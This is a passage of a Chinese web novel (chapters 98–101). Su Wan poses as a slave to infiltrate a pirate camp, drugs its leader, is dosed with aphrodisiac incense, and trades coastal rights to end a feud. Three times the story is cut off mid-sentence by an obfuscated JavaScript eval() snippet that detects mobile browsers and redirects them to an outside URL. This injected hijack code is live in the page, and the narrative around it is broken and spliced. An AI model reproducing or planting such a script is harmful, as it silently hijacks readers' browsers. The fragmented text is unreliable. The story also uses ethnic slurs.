“我就是喜欢勾引男人,母亲能拿我如何?”苏绾轻笑,指尖挑起萧染的下巴,瞬间激起一片鸡皮疙瘩,她假装没看见。 “要不要女儿教教您,如何才能让男人对你死心塌地?” 那副放浪模样,闪瞎了苏夫人的眼。此一时彼一时,如今她客居殷府,竟被苏绾那贱人强行压了一头,还不敢说什么。 苏夫人深吸一口气,强自压下心头怒火,“好,好得很!我倒要看看,你这般玩弄人心,能得意到几时!” 话音落下,她猛地甩袖转身,绣鞋踏出门槛时,溅起一丝残留的雨水,带起一阵冷风。 苏夫人抬头见秦欢负手而立,静静地站在前方廊下。他身着青色直裰,白玉冠束发,眉目清润如玉,神情淡漠至极。 “夫人这般匆匆,莫不是在追什么人?还是被人追?”秦欢目光落在她绣鞋未干的水渍上,意味深长道。 苏夫人脸色一沉,冷笑道:“世侄果然风雅,连妇道人家的家事都要插手。” 秦欢不动声色地往前一步,语气仍是温和:“夫人这话就不对了。殷府待您不薄,苏绾又是姨父的侄女,府中一切自有规矩。夫人行事,若是扰了旁人清净,难免落人话柄。” “呵。”苏夫人斜睨着他,讥讽道:“侄儿这话,倒像是在警告我?你一介外姓之人,竟也敢替殷府管教起我来了?” 秦欢微微一顿,悠然道:“外姓之人如何?总好过有些人,仗着自己是殷府的客人,却摆出主母的姿态。殷府如今是谁当家,夫人该比我更清楚。” 苏夫人神色微变,狠狠攥紧了帕子,眼底的怨毒一闪而逝。 秦欢不欲与她多言,淡淡道:“天色已晚,夫人还是早些回房吧,免得又落得一身雨气。” 说罢,他不再看她,径直抬步往苏绾的闺房走去。 苏夫人咬牙望着他的背影,终究不敢再言语,只能愤愤甩袖,气冲冲地回房去了。 屋内萧染耳尖微动,听见秦欢朝这边走来,顿时神色一变。 “糟了!”他低声嘀咕,“要是被他撞见,我还怎么当你的‘奴隶贩子’?” 苏绾笑眯眯地看着他,“那你现在逃还来得及。” 萧染瞥了一眼门口,果断抄起窗边的帘子,脚下一点,轻巧地翻窗而出,动作利落得像条滑溜的泥鳅。 苏绾忍俊不禁,刚收敛神情,便听见门外传来秦欢的声音:“表妹,可歇下了?” 她拉开房门,露出一双带着些许倦意的眸子,勾唇道:“表哥有事找我?” 秦欢睇着她,温和道:“明晚小年夜,城中灯市已开。你这几日辛苦,不如出来走走。” 苏绾微微一怔,心中迅速权衡。明夜她与萧染约定出发前往倭寇据点,实在分身乏术。 可她若是不答应,难免会让秦欢起疑。 苏绾点了点头:“既然表哥相邀,那我恭敬不如从命。” 秦欢见她答应,眸中微不可察地闪过一抹深意,“明日黄昏,我来接你。” 翌日,华灯初上,临安城灯市如昼,熙熙攘攘的人群将街道挤得水泄不通。 秦欢准时到来,长身玉立于门前,等着苏绾出来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14945774|146123||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 等了半晌,屋内仍无动静。 秦欢推门而入,见房中桌案上点着一盏未燃尽的灯,铜镜前放着一件未穿戴的披风,似乎一切都如常。 秦欢眸光一暗,望向无霜和春蝉两位婢女,“她什么时候走的?” 无霜低下头,小声道:“小姐……小姐说不想扫了公子的兴,先一步去了灯市,让公子自行去寻……” 秦欢薄唇轻抿,目光深邃如夜。 苏绾骗了他。 苏绾借着灯市的喧嚣,从殷府后门悄然溜走,换上素衣斗篷,一路穿过小巷,直奔巷口约定地点。 夜色苍茫,巷道小路寂静无声,苏绾快步走至树林间,一辆低调的黑色马车正停在那里。 车帘被人撩起,萧染好看的脸探了出来,眉毛一扬,奇道:“他没拦着你?” 苏绾勾唇一笑,轻盈跃上马车,“废话少说,赶紧走。” 车夫马鞭一扬,马车沿着官道疾驰,朝着临海的倭寇据点奔去。 天色将明,潮声阵阵,海风带着浓烈的腥咸味扑面而来。 苏绾下了马车,换上了精心准备的南疆服饰。红色薄纱罩衣,腰间系着金铃,长发用金链编成辫饰,额间一点朱砂,使她看上去异域风情十足。 萧染则换上了粗布长袍,脸上抹了些尘土,活脱脱一位走南闯北贩卖人口的人伢子。 “记住,一会儿你就是个听话的奴隶。”萧染瞥她一眼,低声嘱咐道。 葱手拨弄着耳边的金链,苏绾慢悠悠地笑道:“放心吧,爷。” 一声娇啼令萧染浑身颤抖,骨头都酥了,他嘴角一抽,“……叫得倒是顺口。” 两人随即朝倭寇据点走去。 倭寇据点设在一座废弃的盐场,四周木桩围起,守卫森严,偶尔还能看到穿着黑衣的武士来回巡逻。 萧染带着苏绾大摇大摆地走了进去,守门的倭人见状,立刻上前盘问:“干什么的?” 萧染熟练地亮出一封假造的文书,操着一口蹩脚的倭语道:“我是从南边来的奴隶贩子,给大人带来了一件好货。” 倭人狐疑地打量了一眼苏绾,她低着头,仿佛受尽惊吓的小兽。 守卫交换了一下眼神,最终还是让开了路,“进去。” 营帐之中,倭寇头目佐藤躺在软榻榻米,怀中搂着两位衣衫不整的女子,听见有人通报,说是带来了美人,令他顿时来了兴趣。 佐藤约莫四十来岁,身形肥硕,额上有一道狰狞的刀疤,一双细长的猪眼睛透着狠辣和贪婪。他披着宽大的黑色和服,腰间别着一柄太刀,整个人散发着一股野兽般的危险气息。 当苏绾被带到他面前时,佐藤的目光瞬间被她吸引住了。 她站在帐中,乌辫轻垂,眉眼含羞,腰间金铃微晃,真真一个无依无靠的南疆美人。 佐藤盯着她看了片刻,忍不住咂舌:“花姑娘,大大的好。” 他缓缓站起身,走到苏绾面前,伸出粗糙的手指勾起她的下巴。 苏绾目光一颤,惊惶不安地望着他。 那副惹人怜爱的娇颜,看得佐藤心痒难耐,“多少钱?” 萧染眼底闪过一丝寒意,面上堆起笑意,伸出五根手指,“五百。” “哼,你地,不老实。”佐藤冷笑一声,目光贪婪地扫过苏绾,挥手示意手下去取银票。 不多时,一叠银票被塞进了萧染手里,佐藤嗤笑着看他,“钱给你,人留下,你可以滚了。” 萧染神色微变,正要再说些什么,却见苏绾微微侧首,轻轻摇了摇头。 他心中一紧,强行忍下冲动,咬牙拱手作揖,“佐藤大人爽快,在下告辞。” 说完,他攥紧银票,转身大步离去。 帐内,只剩下苏绾与佐藤两人。 苏绾低垂着眼眸,藏在袖中的手指缓缓收紧,指甲深深陷入掌心。 猎人已入局,愿者上钩。 99. 转谋 肥腻的手指头触碰到白皙肌肤,苏绾只觉身体一僵,本能地想闪避,又不敢过于明显,顺势轻轻一侧,似惊弓之鸟,欲逃又惧。 她眉心轻蹙,唇角微抿,明明表现得顺从,却隐隐透出抗拒。天生的柔媚与骨子里的倔强交织一处,反倒更加勾人心魄。 如此羞怯模样,撩得佐藤心火大旺,眼底充满贪婪欲念,只想立刻扑倒美人。他一把拽住皓腕,粗喘着:“南疆美人,呦西呦西……” 苏绾被他扯着手腕,差点跌进令人作呕的肥腻拥抱,她赶紧佯装脚下一滑,伴随低低一声娇吟,身子骨堪堪跌向塌塌米。 岂料那胖胳膊灵活得骇人,伸手一捞,将她牢牢圈入怀中,动弹不得。火热的鼻息喷洒颈侧,夹杂着浓重的酒臭味。两片厚重的嘴唇蠕动着,眼看就要贴上粉颊。 美人忽然抬起衣袖,掩面轻咳一阵,肩膀抖个不停,似是身体有所不适。 佐藤动作一滞,警觉地眯起猪眼,上下打量着苏绾,质问道:“你地,怎么回事?” 苏绾掏出袖里的丝巾,擦拭嘴角口沫,嗓音略带倦怠:“奴家昨夜受了风寒,并无大碍。” 佐藤狐疑地盯着她,眼神充满了戒备——若是感染了天花一类的瘟疫,可不是什么好事。 苏绾垂下眼眸,似羞似怯地解释道:“奴家自幼在南疆长大,平生从未见过大海,昨夜忍不住多看了几眼,吹了些海风,才觉不适。” 这番话说得自然又信服,令佐藤警惕稍解,他舔了舔厚嘴唇,嗤得一声:“没见过大海?今天让你见识见识。” 苏绾暗暗松了口气,唇角弯起,“大人如此厚爱,奴家自然尽全力力侍奉大人。” 纤指拂过案上酒壶,自腰间悄然取出一包药粉,借衣袖遮掩,轻轻一撒,细细的粉末无声融入酒液,片刻无痕无迹。 苏绾敛眸,“奴家敬大人一杯。” 佐藤毫不察觉,见美人亲手斟酒,浑身肥肉颤抖,喜不自胜,端起酒盏一饮而尽。 一杯怎够,佐藤意兴正浓,被苏绾哄着又连饮三杯。 过了一盏茶的工夫,佐藤眼神逐渐涣散,方知情形不对,两手在桌案上一撑,身体晃来晃去定不住,“你,你……” 他强撑着抬起猪脑袋,欲喝令左右扶持,舌头却不听使唤,两眼一抹黑,庞大身躯轰然栽倒,瘫软在塌塌米上,彻底昏死过去。 哼,凭你这头倭猪,还想欺负本小姐? 苏绾玉指一勾,腰间金铃滑落,她用金铃缠绕佐藤四肢,一圈圈收紧。铃音脆生生响起,静谧的夜里轻灵回荡。 不多时,帘幕掀起,闪入一道人影,正是小侯爷萧染。 苏绾拍了拍掌心尘埃,袖口擦拭额间细汗,“这头猪死沉!” 萧染打眼瞥见佐藤昏倒在地上,暗自松了口气。他在帐外担心了许久,生怕苏绾被人欺负了去,那他连死的心都有。 苏绾冷眼睇着萧染,看他搜查屋里各处角落,寻找线索证据等文书。她轻叩额角,低声道:“情况不对啊。” 萧染嫌恶地踢弄着佐藤的身体,漫不经心道:“哪里不对?” 这一路畅通无阻,根本无人问津,未免进展得太顺利了。倭寇虽组织散乱无纪律,也不至于轻而易举就被人端了老巢。 很快,倭人给出了答案。 忽然,帐外传来一阵急促杂乱的脚步声,紧接着呼号声口哨声自四面八方交错响起。 “我们中了埋伏。”苏绾绝望道。 “怕什么?你又不是第一天上当。”萧染不以为然道。 萧染将苏绾护在身后,俯身拽起昏死的佐藤,手臂箍着肥猪脖颈,目光紧盯着闯入营帐的倭国武士。 寒气顺着脊背蔓延,死寂之感笼罩了整个营帐。 为首之人身形修长而挺拔,黑色狩衣映着月色,腰侧悬着一柄破旧的武士刀。长夜之下,他立于血影之中,宛如一尊冷漠的杀戮神祇。 武士淡然道:“好久不见。” 萧染眯起细长眼眸,盯着那名武士,“是你。” 此人,正是雨天与他交手的武士,更是刺杀殷潜的凶手。 武士微微一笑,“你记得我。” 萧染啐了一口,“化成灰小爷也认得你。” 金蝉脱壳的耻辱,刻骨铭心实难忘怀。 “放我们走,否则杀了他。”萧染的刀锋割进脖颈半分,血液渗出,被挟持之人浑然不知。 武士缓缓拔出腰间武士刀,寒芒一闪,“噗嗤”一声,刀刃没入佐藤的心脏。肥硕身躯猛然一颤,连声哀嚎都未曾发出,直挺挺地倒了下去。 空气仿佛在这一刻凝滞。 苏绾心中微震,瞳孔骤缩。 萧染亦眯起眼,腕上青筋微微跳动。 武士神色漠然,好似捏死一只无关紧要的蝼蚁,“这条狗死了,还有更多的狗。” 很显然,死去的佐藤,不过是一枚棋子。眼前这个男人,才是那群倭寇真正的主宰。 一切都是演出来的假象。 这正是倭寇惯用的伎俩——狡诈、狠毒、多疑,擅长布设陷阱,让猎物误以为握住了他们的命脉,自己躲在暗处偷袭。 武士伸手一展,“是时候来一场真正的比试较量了。” 萧染瞥了一眼身后的苏绾,她尚沉浸在余震中,眼睛睁得大大,脸色苍白,少年咬了咬牙,“你机灵点,别让人坑了去。”言毕,转身决绝出帐。 月明白露,潮起潮落。 萧染紧握长刀,指骨泛白,刀锋犹在滴血。 眼前的武士,明明实力不俗,却惯爱设局埋伏,逼人入死境后,再以正当之名挥刀斩杀,彰显所谓的“荣誉”。 荒唐至极! 空气霎时紧绷,杀机在夜色中翻涌而起。 武士骤然出刀,刀势沉稳狠辣,直取萧染咽喉。萧染微微侧身,倏地反手一挑,刀刃擦着武士面门而过。 铿!刀锋相撞,火星四溅,劲风激荡。二人瞬息交错,空气中爆开一缕血雾。 萧染肩头被划开一道血口,而武士腰侧亦被刀锋划破,鲜血渗透衣襟。 武士舔了舔刀锋血迹,“你是一个会使刀的人。” 萧染轻抹去嘴角的血,“小爷会的,比你多十倍。” 武士指着萧染的身体,鄙夷道:“你们中原人,刀法虽快,但缺乏真正的武士魂。” 见他莫名指着自己,萧染低头看去——方才交手间,长袍自肩头被划开,露出精壮结实的上身。前胸一道狰狞的天命刀疤横亘,那是半年前拜京卫指挥使时枫所留。而后背十朵蔷薇交错盛放,代表亡者的誓约。 武士盯着那道天命疤痕,缓缓道:“你败过。” 萧染冷冷道:“败过又如何?” 武士嘴角勾起一抹冷笑,“真正的武士魂,宁死不辱,绝不会苟活。” 萧染嗤笑,“苟活?在你们这些倭奴眼里,不死就是没有尊严,所以才会排着队切腹自尽。” 武士脸色微变,“切腹是武士的荣耀,死,亦要有尊严地死。” 萧染冷漠道:“可你们这些所谓的‘武士’,遇弱者便欺,遇强者便诈——这就是你所谓的‘尊严’?” 武士眼中掠过一丝阴翳,旋即笑了,“随你怎么说,你的刀,斩不了我。” 两人再次交锋,刀光如练,身形疾闪,每一次碰撞都带着撕裂空气的寒意。武士刀法狠辣精妙,萧染刀势轻灵迅疾,二人皆是生死间打磨出的高手,一招一式,皆暗藏杀机。 忽然武士刀锋翻转,迅猛劈向萧染胸口,萧染侧身堪堪避过,袖中寒光一闪,匕首直刺武士侧腰。 噗!匕首深深没入血肉。 武士瞳孔微缩,却未退后,反而狂笑一声,强忍剧痛,一记肘击狠狠砸在萧染胸口。 萧染被震得倒飞出去,重重撞在木桩,喉头一甜,喷出一口鲜血。 武士伸手拔出匕首,瞬间血流如注,“你比我好不到哪里去。” 萧染撑着长刀,缓缓站起,“对付你这种龌龊小人,防不胜防。” 营帐外围,络腮胡率领十余名毒蛇堂打手强行拼杀,现场刀光霍霍,鲜血飞溅。 络腮胡舞动长刀,横扫一片,沉声喝道:“快突围!” 杀局骤然被撕裂。可络腮胡等人虽杀入,却被倭寇拖住,一时无法支援。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14952442|146123||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 另一边,苏绾的处境同样凶险。 她被数名倭寇压制,按倒在营帐之中。 倭人嘿嘿冷笑着,手中摇晃着一个小巧的瓷瓶,“礼物给你,你地,喜欢。” 瓷瓶开启,幽幽香气弥漫。 苏绾顿时感觉不妙,立即屏住呼吸,终究慢了一步,薄雾般的香气悄然侵入鼻息。 一股异样的燥热自四肢百骸窜起,莫名点燃了身体各处,她的意识开始恍惚,整个人软软地,几乎站立不稳。 这种感觉,苏绾太熟悉了,与合欢散异曲同工。 她中了某种催情香。 苏绾狠命咬破舌尖,强行让自己保持清醒。 手腕被倭人死死钳住,催情香的药性开始发作,肌肤微微发烫,额上沁出细汗,呼吸也变得急促。 倭人狞笑着盯着她,“你真美。” 他一边说着,一边伸手摸她的脸。 苏绾张口咬住他的手指,牙齿狠狠咬下。 “啊!”倭人惨叫出声,怒不可遏,扬手便是一巴掌。 啪!这一巴掌带着几分狠劲,打得苏绾满眼冒金星,半张脸泛起红痕,嘴角渗出血迹。 意识也恍惚了。 荒凉旷野,星光点点,篝火燃燃。 玄色身影立在她身前,凤眸清冽,杀气棱棱,苏绾仿佛嗅到了那股熟悉的松香气息。 “冷静。”男人沉声道。 苏绾紧紧盯着玄色身影,喉间干涩得几乎无法言语,她有太多的话儿想要倾诉给他。 男人凤眸一转,“合欢散你吃过,京郊大营你也去过,还记得你是怎么脱身的吗?” 京郊大营? 苏绾怔了一瞬,脑海中陡然翻涌出一段尘封的记忆。 那次她被他捉去京郊大营,她在夜色中惊呼:“有蜜蜂蛰我”,骗得守卫士兵入营查探,而她趁机砸晕了那人,骑着踏月仓惶逃脱。结果又被那个家伙一声口哨,生生召唤了回来。 口技! 她心下一震,意识瞬间回笼,眼底绝望迅速退去,取而代之的是冷冽的清明。 苏绾故意放软身体,轻颤着倚靠木柱,似乎被药效折磨得神志不清。 倭人见状,露出猥琐的笑意,彼此低语几句,邪心乍起,反而放松了警惕。 苏绾舔了舔干裂的唇,微微偏头,耳朵捕捉着周围的动静,判断着彼此的距离。她喉间轻轻滚动了一下,气息随着海风飘散,试探性地发出一声低哑的声音。 “救命!” 倭人一怔,错愕地看向倒下的佐藤——那头猪应该死透了才对。 “好疼。” 倭人被连续的呼救声搞懵了,几个人凑过去,踢弄翻看佐藤的尸身。 苏绾抓住破绽,手刀砍向身旁倭人喉咙,同时抬腿狠狠踹向倭人的裆部。 “哎呦!”倭人痛得面目扭曲,惨叫着弯下腰。 苏绾趁机挣脱束缚,抄起一把倭刀,拼尽全力刺入倭人肩膀,霎时鲜血喷溅。 前方阻碍消除,苏绾扔掉倭刀,拼尽全力冲出营帐,如同京郊大营那晚一样。 海潮汹涌,夜风猎猎。 夜色下,远处传来急促的马蹄声。 “杭州府巡防营在此,所有人不许动!”冰冷而威严的声音,在倭寇据点炸响。 倭寇们循声望去,只见秦欢身穿青灰色道袍,手持布政使牙牌,带领着一队巡逻士兵,向营地疾驰而来。 他翻身下马,冷峻目光一扫,立刻锁定了苏绾的身影。 她脸色潮红,气息紊乱,站立间不稳,显然中了催情香。 秦欢心头一紧,强压下翻涌的情绪,目光冷冷扫向倭寇。 “你们胆敢违反禁倭令,擅闯杭州府境内,私运奴隶,意图造反。” 首领武士面色微变,低声命令道:“撤!” 秦欢手一挥,巡城士兵立刻冲上前,列队长枪并举,将倭人团团围住,“休得逃跑!” 场面最终得到控制,秦欢趸步来到苏绾面前,俯身将那小小身躯横腰抱起。 苏绾努力睁开迷蒙的眼,苍白手指攥着道袍衣襟,喑哑道:“我要同倭人谈话。” 100. 合谋 “我要同倭人谈话。” 见她执意如此,秦欢并未再加劝阻,而是抬眸望向首领武士,正色道:“这位姑娘并非什么南疆女奴,而是布政使殷潜的外甥女。” “殷布政使的外甥女被歹人当街掳走,我奉布政使之命前来剿匪。” “眼下似乎有些误会,你我当坐下会晤详谈先。” 秦欢自未见到苏绾以后,第一反应就是她又起了幺蛾子,遂细细问过无霜关于苏绾的去向。 无霜眨眨眼,终是不敢欺骗秦欢,扯着衣襟道:“小姐……同萧公子一同走了。” 秦欢眼眸一沉,当下四处寻找萧染的打手,很快就查出来两人去向。他思了一瞬,向殷夫人要了殷潜的牙牌,城门处调了巡防兵马营急奔海边据点救人。 既然对方愿意谈判,而不是抓捕他们入狱,首领武士求之不得,挥手将众人引入帐内。 眼前这一切发生的太突然,萧染呆愣望着秦欢抱着苏绾,阵风般从身边走过。他咽了下喉咙,重新穿上被割破的襕衫,衣襟前后都是划痕,不比披风遮挡了多少。 进入帐内,秦欢将苏绾放在塌塌米上,自怀里掏出布包,取出漆木盒里的银针,指腹微动,刺入苏绾周身几处穴位。 银针入体,苏绾身子轻轻一震,冷汗瞬间浸湿衣衫。她咬紧牙关,没有发出一丝痛哼,直至毒香药性被暂时封锁,她才缓缓吐出一口气,强撑着精神从他怀中直起身。 夜色深沉,海风裹挟着腥咸气息,吹得篝火火光忽明忽暗,映照出一张张或警惕、或凶狠的脸。 “我可以给你们一条活路。”苏绾颤抖着嘴唇说道。 首领武士冷笑一声,手掌搭在刀柄,“你不清醒,在说梦话。” 苏绾眸子里金石闪耀,“我有另一片海域,足够你们活动。” 篝火噼啪炸裂,带出几缕青烟,所有人的神色皆是一变,连秦欢也微微低眸。 武士:“什么意思?” 苏绾:“我把山东沿海船舶停靠权,开放给你们。” 空气瞬间凝固。 倭寇群中有人低声嗤笑。 武士脸色阴沉,“据我所知,你们几人都是‘良家子’,一介平民百姓,有何资格说大话?” 苏绾平静的目光扫过秦欢,“表哥,你同意吗?” 秦欢身形微震,眼底浮起一抹震惊的情绪。 外人皆知秦欢是悬壶济世的名医,无人知晓他暗中掌控着整个山东省海运,包括沿海商道。他的十万精兵囤积于沿海地区,上至省布政使,下至州郡县丞,皆是他安插的亲信,更有毒蛇堂执掌江湖漕运。可以说,山东的生杀予夺,尽在他一念之间。 现在,她要他让出这片海域。 秦欢望着她,胸口似被无形的手攥住,沉闷而钝痛。 他一直以为,她对他的依赖、信任,甚至那些偶尔流露出的柔软,皆是真情流露。可直到此刻,他才明白,苏绾从未对他付出真心。她的每一步,都算得清清楚楚。 她不是在寻求庇护,而是在下一盘大棋,而他,不过是她手中一枚精准落下的棋子。 可悲的是,他心甘情愿做她的棋子。 秦欢闭了闭眼,终究是压下心中翻涌的情绪,声音低沉而沙哑: “我……同意。” 首领武士神色微怔,似乎不敢置信天上掉馅饼,“空口无凭。” 苏绾嘴唇扯了扯,“山东沿海商道繁盛,远比浙江更适合倭人立足。你们若能在那里落脚,何必苦苦与殷潜纠缠?” 随即眼色一沉,“真当我舅舅是软茄子?他昨儿个吃了你一刀,左右为自己单方面毁约付出了代价。你若死咬着他不松口,回头他同你玉石俱焚,你们可就竹篮打水一场空了。” 她说得有道理,武士细忖一番,终是认为,武士魂不该死缠着一块浮木溺死。 他嘴唇一扯,伸出交叉袖内的手:“成交。” 秦欢目光幽深,抬手与他相握。 这一刻,合约达成。 倭寇自此放弃对殷潜的复仇,而苏绾的棋局,也终于落定。 从最一开始,苏绾就是冲着谈判来的,她深知自己手里的筹码,唯有秦欢一人。可秦欢绝不肯轻易将利益拱手让给倭寇,因此也不会主动促成并参与谈判,苏绾唯有用自己为饵,以身入局,只为了引秦欢星夜驰援她。 什么迷药,奴隶,灯市,仙人跳,前番一切的一切,都是苏绾做的局。怎可能辛苦扮美人就为了抓倭寇头子?笑死人了!她以一手妙法计策,将天下人,戏弄于股掌间。 她的借刀杀人,借的是秦欢的刀,杀的是殷潜的势。至于倭寇狼子野心,苏绾也自有办法对付,此为“三连环局”。 你看见了吗?我已经达成第一局成就了,你为我这个徒弟感到自豪吗? 很快就会有第二局。 苏绾立在风中,黑发被夜风吹得凌乱,映着天际黯淡的星光,身影显得越发单薄。她望着远方,漆黑的瞳仁深不见底。没有人知道,在那双波澜不惊的眼眸里,此刻究竟藏着什么样的情绪。 离开倭寇据点,秦欢须回巡防营交接,萧染抱着苏绾,穿过荒凉的海滩,朝着来时的黑色马车走去。 怀中的美人不肯安分,身上的薄纱被冷风吹得凌乱,露出一截莹白如玉的肩膀,肌肤微微泛着异样的红晕,滚烫的体温透过衣料灼得人心悸。 此时银针封锁效果已耗尽,毒香冲破了禁锢,在苏绾的身体各处肆虐点火。她迷迷糊糊地在萧染怀里蹭了蹭,似是不满被他搂得太紧,低低地嘟囔:“热……” 萧染抱着一块烫手山芋,拿也不是,放也不是。鼻翼萦绕着若有似无的馨香,令少年满脑子都是不切实际的幻想。 指尖轻轻勾住襕衫袍子衣襟,眼尾晕着旖旎的潮红,嗓音软得不像话:“你是……谁?” “我是你孙儿,你是我祖宗。”萧染懊恼道。 “嘻嘻,我的好大孙。”苏绾嬉闹着回应他。 “闭嘴!”他咬牙低吼,恨不得把这磨人的妖精丢下去,可她的小手这一刻紧紧扣着他的腰,勒得他一个大男人竟有些窒息。 苏绾被凶了一句,委屈地皱起娥眉,抬手假装拭泪,娇嗔道:“呜呜,你吼我?” “吼你怎么了?你再不老实,我就把你扔进大海。”两声娇软嗫嚅,令萧染喉结滚动,额角青筋直跳,几乎要发疯。 苏绾被他的“凶狠”吓到了,嘟着粉红的小嘴道:“坏人。” 说完,她竟抬手摸上了他的脸颊,指尖带着炙热的温度,一寸寸滑过刀削斧劈般下颚线,勾着襕衫领口一点点往下探去。 破败的襕衫袍子根本禁不住拉扯,紧实胸膛外露,后背也淌着风。 苏绾先是摸到了背后的十色蔷薇,她在画舫和山寨都见过,印象里对纹身花样并不陌生。 指尖摩挲着肌肉,慢慢向前探去,摸到了那道天命疤痕——她并未亲眼见证疤痕的诞生,彼时她和晴雷正去马厩的路上。 “噫,”指尖被不平的肌理磨得生疼,令美人发出小小的不满,“它咬我。” 那一声细细的娇吟,抓挠着少年悸动的心。萧染闭上眼,下巴抵着她的额头,从牙缝里挤出怒吼:“放开你的手!” “嗯?”苏绾迷离地望着他,唇瓣染着醉人的红,“你不想要我吗?” 少年的理智瞬间濒临崩溃。 想,怎么可能不想?她这样撩着他,搁谁能忍?! 可是,他不敢! 他狠狠咬破嘴唇,强迫自己清醒,手臂一甩,将苏绾甩进马车里,一脚踢上车门,声音发哑:“快走!” 马鞭抽下,车轮碾过泥地,疾驰而去。 按照秦欢的嘱咐,萧染并 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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如同合欢散一样,这类催晴药一向具有催发真话的副作用,人在意识最薄弱的时候,本能会不自觉地暴露内心深处最真实的想法。 他垂下眼眸,轻声试探:“苏绾,你听得见我吗?” 苏绾睫毛轻颤,嘴唇微微张合,似乎在回应他。 秦欢俯身靠近,“告诉我,你最想要的是什么?” 苏绾半梦半醒,呢喃细语:“我要活下去。” 活下去? 秦欢的眼神愈发幽深,继续引导:“为什么?” 苏绾眉头紧蹙:“因为,我已经死过一次。” “死过一次?” 秦欢的呼吸瞬间滞住,眼底翻涌惊涛骇浪。 苏绾此刻毫无防备,完全沉浸在药效催生的本能之中,继续呢喃道:“上辈子……我死了……被他们害死了……所以这一世,我不能再让自己落入他们手里……我必须……掌握主动权……” 她竟然,与他一样。 若是旁人听到这些话,定会以为她胡言乱语,然而秦欢毫不怀疑。 脑海中无数疑问瞬间交织成网,关于苏绾的沉稳、算计、冷静、步步为营,甚至连她的未卜先知——这一切,原来都不是巧合。 难怪,她会设计利用他。 秦欢低头,静静地看着昏睡中的女子。 他应当愤怒的。 从始至终,她一直都在算计他,蛊惑他,利用他。 可是,他无论如何都恨不起来。 她在步步为营,他又何尝不是? 他原以为自己看透世事,能够掌控一切,可如今才发现,真正清醒而冷静的人,从头到尾都是她。她比任何人都清楚自己在做什么,她也从未因儿女情长而失控。 秦欢叹了一口气,伸手替她掖好被角。 所有忧愁怨恨,这一刻烟消云散。 苏绾昏了三日,经历无数重重梦魇,在无霜和秦欢互相配合照料下,她终于缓缓苏醒。 醒来后第一句话:“表哥,我愿意嫁给你。” 秦欢瞬间一滞。 101. 来信 冬日晴朗,天光温润,映得檐下红梅愈发鲜妍。一只喜鹊栖落梅枝,清脆的啼鸣送出吉祥祝福。 苏绾咬着嘴唇:“表哥,我愿意嫁给你。” 秦欢怔愣地望着她,一时竟分不清现实与梦境。 半年多来,他苦苦等待着她的回应,也曾在无数个辗转反侧的夜晚,幻想着她点头的情景。可当这句承诺果真落入耳中时,他却产生一种,宛如太虚幻境般不真实感。 良久,秦欢定了定神,温声道:“你不必这么做,我没事的。” 他垂下眼眸,苦涩道:“与倭人的交易,皆是我自愿,与你无关。你不必因此而自责,更不必拿自己后半生的幸福来交换。” 复又抬眸:“我只希望你,能随心而活。此生无憾,亦无悔。” 轮到苏绾怔愣了。 记忆中的秦欢,总是沉稳冷静,清朗如竹,从不主动向她索求什么,甚至连悲喜情绪都藏匿得滴水不漏。可此刻,她从他眼中,看到了一丝隐忍,一抹克制,还有一种令人心疼的深情。 刹那间,愧疚、懊悔、心酸……各种复杂的情绪交织在一起。苏绾觉得自己真是该死,竟将秦欢逼迫到穷途末路的地步。 “表哥,我对不起你,都是我的错,我不该如此算计你。” 她一头扑进秦欢怀中,泪水顺着眼角滑落,坠入他的衣襟,晕开温热的湿意。 秦欢掌心覆上她的背脊,轻轻拍了拍,呢喃细语:“不是你的错,不是你的错。” 她有什么错呢?她只是想要活下去而已。 错的是那些害她的人。 “不、不是……我……”苏绾哽咽着说不出话来,整个人缩进他怀里,指尖揪着他腰间的衣带不肯松开,鼻尖尽是他衣袍上清冽的药香,熟悉且令人心安。 “别哭了。”指腹拭去粉泪,声音一如既往地柔和,“再哭下去,眼睛哭肿了,就不漂亮了哦。” 苏绾抬起眼眸,眸光坠着残泪,清亮如晨星,“那我如何才能补偿给你呢?” 秦欢低下头,额间抵住她的眉心,温热呼吸交错萦绕,“你我之间,不用分彼此,还提什么补偿呢?” 他甚至愿意为她付出生命,区区一点点蝇头小利,算得了什么。 “可是……”苏绾犹豫不决。 倭寇一事,她的确做得太过分了,丝毫不给他缓冲的余地,刀口直接架到脖颈,生生逼着他表态。也就是秦欢一味宠着她,让着她,换作那个家伙,一早黑着脸拒绝帮忙,还会反过来把刀架回她的肩头。 “如果……” 秦欢微微垂眸,耳尖泛红,声音轻得像落雪,“我能得到一个吻,就好了。” 一个吻?苏绾怔了怔。 记忆中浮现出另一幅画面。 冷宫书房里,她搂着他的脖颈,眼波流转,娇嗔道:“秦大夫,不要再写老掉牙的药方了,你好亲亲我啊。” 秦欢满脸通红,像被暖风吹散的雪花,风中凌乱着。等到她笑着贴上他的唇,他彻底乱了阵脚,手里的狼毫猝然落地,溅起一滩墨迹。 物是人非,山长水阔。 苏绾静静望着眼前人,他的羞涩与紧张,与前世的自己相比,何其相似。命运似一条悠长的河,兜兜转转,又把他们引回当时的渡口,却互换了方向。 